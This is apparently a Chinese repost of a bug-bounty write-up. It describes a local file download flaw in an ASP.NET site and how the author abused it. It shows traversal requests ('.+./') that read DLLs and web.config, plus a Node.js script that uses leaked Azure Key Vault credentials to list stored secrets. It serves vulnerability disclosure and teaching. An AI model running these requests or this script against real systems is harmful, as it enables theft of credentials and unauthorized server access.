ASP.NET的Web應用中比較常見的漏洞之一是本地文件泄露。如果您從未研究過相關技術,那麼如何利用本地文件下載漏洞(LFD)可能會讓您感到無所適從。在下面的文章中,我將描述一個受LFD漏洞影響的Web應用,然後利用這個漏洞控制伺服器。

確認漏洞

在測試目標網站時,我看到了這樣一個url…

https://domain.com/utility/download.aspx?f=DJ/lc1jVgHTZF...

當載入頁面時,這個url會從伺服器上的另一個路徑下載幫助文檔。我不認為我能夠篡改這個url,因為它的參數是被加密的,但是再一想。如果我能夠找到密鑰來解密參數(可能是AES加密演算法),那麼我可以偽造參數並找到一個LFD漏洞。

令我驚訝的是,我最終看到在這個網站的老版本上看到了相同功能的鏈接,具有如下

https://domain.com/utility/download.aspx?f=file1234.docx

這個請求的並返回包內容如下

HTTP/1.1 200 OK
Connection: close
Content-Length: 27363

?ó|u?Z^tù¢y?ˉ;!Y,}{?C?3/h>
...

我看到這之後做的第一件事是把字元串download.aspx作為參數,令我驚訝的是,請求返回了這個頁面的源碼。

GET /utility/download.aspx?f=download.aspx

HTTP/1.1 200 OK
Connection: close
Content-Length: 263

<%@ Page Language="C#" AutoEventWireup="true" Debug="true" %>
...

讀取download.aspx的源碼錶明我可以訪問任意文件,但這其實還是存在限制,因為真正的源代碼(存儲文件的實際來源)位於文件filename.aspx.cs。我嘗試讀取它,但並沒有用。

事實證明,在我的測試這個漏洞過程的中,始終無法訪問.aspx.cs文件。 (有關.aspx和.aspx.cs文件之間差異, stackoverflow.com/quest )。

我必須找到解決這個問題的方法,但是現在,讓我們嘗試從不同的目錄中讀取儘可能多的文件,這樣我們就可以了解更多。

繞過遍歷文件的阻礙

我在測試過程發現我無法在末尾添加兩個點(..),否則請求將響應400。

為了繞過,我採取的一種模糊測試看是否有任何字元可以生效。

我使用了以下請求...

GET /utility/download.aspx?f=.[fuzz]./utility/download.aspx

我開始手動遍歷所有字元直到看到含有.+./utility/download.aspx的url成功返回了download.aspx的內容。很好,現在我們就可以遍歷目錄了。為什麼這樣會生效?我不確定。我在我自己的搭建的ASP.NET應用上嘗試過這個,看看它是否具有通用性,但測試過不行。我的猜測是這和Window中含有空格文件名的內部邏輯有關,但我還未徹底研究。

證明漏洞影響

因為我現在可以跨目錄讀取閱讀文件,所以我嘗試的第一件事就是讀取.ashx文件。因為這些是處理程序而不是表示文件( dotnetperls.com/ashx ),我猜測它們也能被訪問。

果然有效!

HTTP/1.1 200 OK
Connection: close
Content-Length: 2398

<%@ WebHandler Language="C#" Class="redacted.redacted" %>

Imports System
Imports System.Data
Imports System.Data.SqlClient
Imports System.IO
Imports System.Web
Imports System.Configuration
...

這至少表明我能夠讀取一些更為敏感的東西。我的下一步是閱讀更多的源代碼。

我在閱讀ASP.NET文檔時發現的一點是,編譯後的類保存在/bin/className.dll中。這意味著我們應該能夠提取.ashx文件中引用的類名。

通過發送以下請求,我能夠讀取源文件的DLL(有關DLL的更多信息, blogs.msdn.microsoft.com

GET /utility/download.aspx?f=.+./.+./bin/redacted.dll

下載後,我可以使用使用dnSpy導入DLL並恢復應用程序的源,此外還有更多的類可以從中取得。

web.config 泄露 Azure Key,漏洞影響達到致命

web.config是ASP.NET應用中最常使用的文件之一。

這個文件本質上是一個設置文件,包含從單個頁面到整個Web伺服器的所有額外變數。這裡也存儲了許多敏感信息,比如資料庫的憑證、上面提及的參數的加密密鑰,以及應用程序使用的內部介面。

下面是一個web.config文件的示例

<?xml version="1.0" encoding="utf-8"?>
<!--
For more information on how to configure your ASP.NET application, please visit
http://go.microsoft.com/fwlink/?LinkId=301880
-->
<configuration>
<appSettings>
<add key="webpages:Version" value="3.0.0.0" />
<add key="webpages:Enabled" value="false" />
<add key="ClientValidationEnabled" value="true" />
<add key="UnobtrusiveJavaScriptEnabled" value="true" />

<add key="PodioClientId" value="" />
<add key="PodioClientSecret" value="" />

<add key="AppId" value="" />
<add key="SpaceId" value="" />
</appSettings>

<connectionStrings>
<remove name="umbracoDbDSN" />
<add name="PodioAspnetSampleDb" connectionString="server=WSA07;database=PodioAspnetSampleDb;user id=sa;password=pass" providerName="System.Data.SqlClient" />
</connectionStrings>

<system.web>
<compilation debug="true" targetFramework="4.5" />
<httpRuntime targetFramework="4.5" />
</system.web>
</configuration>

為了讀取目標的web.config文件,只需發送以下請求

GET /utility/download.aspx?f=.+./.+./web.config

該請求返回的內容包括了很多敏感信息——但最糟糕的是暴露了以下密鑰

...
<add key="keyVaultDataPlaneUri" value="redacted" />
<add key="uniqueKeyVaultNameUri" value="redacted" />
<add key="keyVaultClientId" value="redacted" />
<add key="keyVaultClientSecretIdentifier" value="redacted" />
<add key="keyVaultClientTenantName" value="redacted" />
<add key="keyVaultAuthenticationContextUri" value="redacted" />
<add key="keyVaultApiVersion" value="2016-10-01" />
...

如果正確使用,我就可以訪問Azure Key Vault實例。Azure Key Vault通常用於為Web應用保存密鑰和秘密,通常是一些非常敏感的數據。

接下來的問題是找到正確的方式來發送請求。在與shubs交談之後,他快速地寫出一個Node.js腳本,以便使用泄露的密鑰訪問Azure Key Vault實例…

var KeyVault = require(azure-keyvault);
var AuthenticationContext = require(adal-node).AuthenticationContext;

var clientId = "clientId";
var clientSecret = "clientSecret";
var vaultUri = "vaultUri";

// Authenticator - retrieves the access token
var authenticator = function (challenge, callback) {

// Create a new authentication context.
var context = new AuthenticationContext(challenge.authorization);

// Use the context to acquire an authentication token.
return context.acquireTokenWithClientCredentials(challenge.resource, clientId, clientSecret, function (err, tokenResponse) {
if (err) throw err;
// Calculate the value to be set in the requests Authorization header and resume the call.
var authorizationValue = tokenResponse.tokenType + + tokenResponse.accessToken;
console.log(authorizationValue);
return callback(null, authorizationValue);
});

};

var credentials = new KeyVault.KeyVaultCredentials(authenticator);
var client = new KeyVault.KeyVaultClient(credentials);

client.getSecrets(vaultUri).then(function(value) {
console.log(value);
});

接受到的回應

{ id:
https://redacted.vault.azure.net/secrets/ftp_credentials,
attributes:
{ enabled: true,
created: 2018-01-23T22:14:18.000Z,
updated: 2018-01-23T22:14:18.000Z,
recoveryLevel: Purgeable },
contentType: secret } ]

... more secrets ...

到這裡,這次滲透就結束了,因為最後我們已經可以完全在系統上進行寫和讀。

重點回顧

ASP.NET不能訪問源文件?從/bin/className.dll讀取。

想看一些很敏感的數據嗎?從web.config中讀取。

如果您想更好地滲透ASP.NET應用,請花一些時間研究它們。如果您能夠克服幾乎每個請求中都帶有的看上去很糟糕的令牌,那麼您將開始注意到許多應用都會存在的漏洞(XSS、身份驗證繞過、shell上傳、LFD和LFI等)。

節日快樂!

——@samwcyo

時間線

漏洞上報——2018年9月25日

漏洞鑒別——2018年9月27日

獎勵17000美元——2018年9月29日

來源:價值17000美元的本地文件下載漏洞|NOSEC安全訊息平台 - NOSEC.ORG

白帽匯從事信息安全,專註於安全大數據、企業威脅情報。

公司產品:FOFA-網路空間安全搜索引擎、FOEYE-網路空間檢索系統、NOSEC-安全訊息平台。

為您提供:網路空間測繪、企業資產收集、企業威脅情報、應急響應服務。

推薦閱讀:

相关文章